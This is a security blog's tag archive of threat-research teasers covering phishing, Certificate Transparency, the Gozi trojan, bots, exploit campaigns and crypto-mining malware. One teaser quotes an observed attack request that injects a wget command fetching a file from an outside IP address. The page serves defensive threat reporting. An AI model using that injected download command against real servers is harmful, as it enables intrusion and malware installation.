Tag: Threats
The most common initial vector for phishing attacks is the fraudulent email. A well-crafted phishing email entices the victim to click on a malicious link that then takes them to an attacker’s site. Once that happens, that site must appear to be as authentic as possible. Images, fonts, layout, styles, and even the URL will…
Read MoreWhat is Certificate Transparency? Certificate Transparency (CT) is a method for publicly logging, auditing, and monitoring the creation of new SSL/TLS (digital) certificates. Originally a concept from Google, CT is now an open standard under RFC 6962, albeit still an experimental one. Originally designed to enhance the veracity of Extended Validation (EV) certificates, many certificate…
Read MoreGozi “banking” trojan continues to shift its targets beyond banking as it employs client-side and server-side evasion techniques via time-tested web injection. Source link lol
Read MoreIt’s hard to get through any news cycle today without bots coming up. Those we hear about most spread spam, propagate fake news, or create fake profiles and content on social media sites—often to influence public opinion, spark social unrest, or tamper with elections. During the 2016 US presidential election debates, bots were used on…
Read MoreAfter the vulnerable server decodes the string, it is instructed to download a malicious file. The malicious request after decoding is: oProxyCommand= wget http://185.29.8.28/down.php&port=143&user=sdf&passwd=sadf&server_type=imap&f_submit=Submit. Again, in this case the threat actor took down the malicious file download.php before the researchers could download it to analyze. Weathermap Editor (cacti plugin) Arbitrary Code Execution (CVE-2013-3739) Another known…
Read MoreConclusion Continuing the trend from January, threat actors in February delivered crypto-miners and Mirai variants. Most of the vulnerabilities exploited in February are not new, however, they are known vulnerabilities in popular applications and systems. In these cases, a threat actor is not looking for a specific target, but instead tries to exploit as many…
Read MoreRecently, threat researchers from F5 Networks spotted a new campaign targeting Elasticsearch systems. It leverages an exploit from 2014 to spread several new malwares designed to deploy an XMR (Monero) mining operation. The campaign exploits a five-year-old vulnerability (CVE-2014-3120) in Elasticsearch systems running on both Windows and Linux platforms to mine XMR cryptocurrency. On Linux,…
Read MoreHackers have a soft spot for targeting cryptocurrencies thanks to a lack of heavy regulation unlike traditional financial services. Cryptocurrency funds have no legal obligation to implement protection measures, so inherently they are not as exhaustive or technical. This makes them prime targets for hackers. Transactions can be extremely difficult to reverse, so although some…
Read MoreF5 Labs published the first edition of our annual Application Protection Report in July 2018. For that report, we collaborated with Whitehat Security, Loryka, the Ponemon Institute, and Whatcom Community College’s Cybersecurity Center to analyze a wide range of data from 2017, and offer a comprehensive breakdown on the threats, tactics, vulnerabilities and impacts facing…
Read MoreIntroduction This year we are releasing our 2019 Application Protection Report as a series of short, tightly focused episodes. This helps ensure we provide timely threat intelligence that our readers can add to their own threat models and use to prepare appropriate defenses and responses. Last episode, we focused on PHP’s continuing run as one…
Read More